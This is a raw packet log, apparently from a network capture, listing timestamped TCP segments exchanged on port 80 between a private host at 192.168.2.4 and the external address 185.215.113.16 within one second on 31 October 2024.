Oct 31, 2024 03:04:22.703290939 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703308105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703330040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703401089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703407049 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703411102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703448057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703452110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703452110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703460932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703478098 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703486919 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703490019 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703526974 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703526974 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703699112 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703708887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703736067 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703763962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703773975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703784943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703831911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703831911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.703924894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703936100 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703946114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.703975916 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704001904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704011917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704013109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704024076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704040051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704101086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704205990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704263926 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704273939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704286098 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704319000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704327106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704327106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704329967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704340935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704375029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704401016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704754114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704808950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704821110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704824924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704849005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704871893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704885960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704896927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704906940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.704942942 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704988003 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.704998970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705010891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705020905 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705033064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705045938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705048084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.705055952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.705099106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.705099106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737370014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737394094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737405062 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737437010 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737463951 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737483025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737507105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737519026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737529039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737533092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737540960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737556934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737579107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737581968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737581968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737598896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737621069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737624884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737624884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737629890 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737641096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737652063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737659931 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737660885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737682104 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737699986 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737752914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737765074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737775087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.737792969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.737832069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782459021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782495022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782506943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782533884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782533884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782542944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782555103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782566071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782577991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782589912 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782618046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782618046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782634974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782645941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.782649994 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782679081 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.782701969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820352077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820375919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820394993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820405960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820416927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820430040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820439100 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820446968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820458889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820460081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820499897 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820503950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820514917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820523977 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820527077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820538044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820549011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.820554018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820585966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.820585966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821269989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821280956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821297884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821325064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821336031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821340084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821366072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821379900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821382999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821382999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821402073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821413994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821420908 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821424961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821436882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821474075 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821474075 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821557045 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821568012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821578979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821589947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821619034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821635008 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821640968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821665049 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821676016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821686983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821719885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821738958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821749926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821788073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821799040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821811914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821818113 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821824074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821849108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821856022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821856022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821861029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821891069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821907043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821912050 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821912050 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821923971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821934938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.821938992 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821955919 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.821980953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822225094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822235107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822243929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822256088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822278023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822319031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822364092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822364092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822397947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822407961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822441101 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822474003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822483063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822508097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822520018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822520018 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822535038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822560072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822583914 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822803974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822813988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822824955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822848082 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822860956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822874069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822874069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822880983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822891951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822911024 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822918892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.822937012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.822959900 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823389053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823401928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823411942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823445082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823482037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823492050 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823502064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823522091 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823522091 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823523998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823548079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823550940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823563099 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823564053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823580027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823591948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.823610067 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823610067 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.823627949 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.855959892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856004953 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856025934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856050014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856050014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856080055 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856125116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856134892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856151104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856163025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856175900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856179953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856190920 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856203079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856216908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856239080 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856244087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856244087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856249094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856259108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856271029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856281996 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856302023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856302023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856349945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856367111 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856375933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856384993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856398106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856410027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.856441021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856441021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.856467962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901015997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901035070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901046038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901103020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901109934 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901113987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901130915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901170969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901180983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901211977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901222944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901236057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901248932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901273966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901273966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901285887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901303053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901316881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901326895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.901367903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.901367903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.938741922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938752890 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938767910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938786030 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938796043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938807011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938878059 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.938894987 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.938899994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938916922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938929081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938950062 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.938958883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.938992023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939001083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939001083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939002037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939033985 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939044952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939085007 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939140081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939151049 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939217091 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939878941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939891100 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939914942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939925909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939935923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.939935923 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.939966917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940004110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940063000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940073967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940097094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940107107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940119982 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940121889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940145969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940212011 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940608978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940618992 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940629005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940640926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940653086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940665007 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940676928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940680027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940680027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940690994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940709114 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940717936 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940747976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940757036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940767050 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940767050 CET	80	63827	185.215.113.16	192.168.2.4
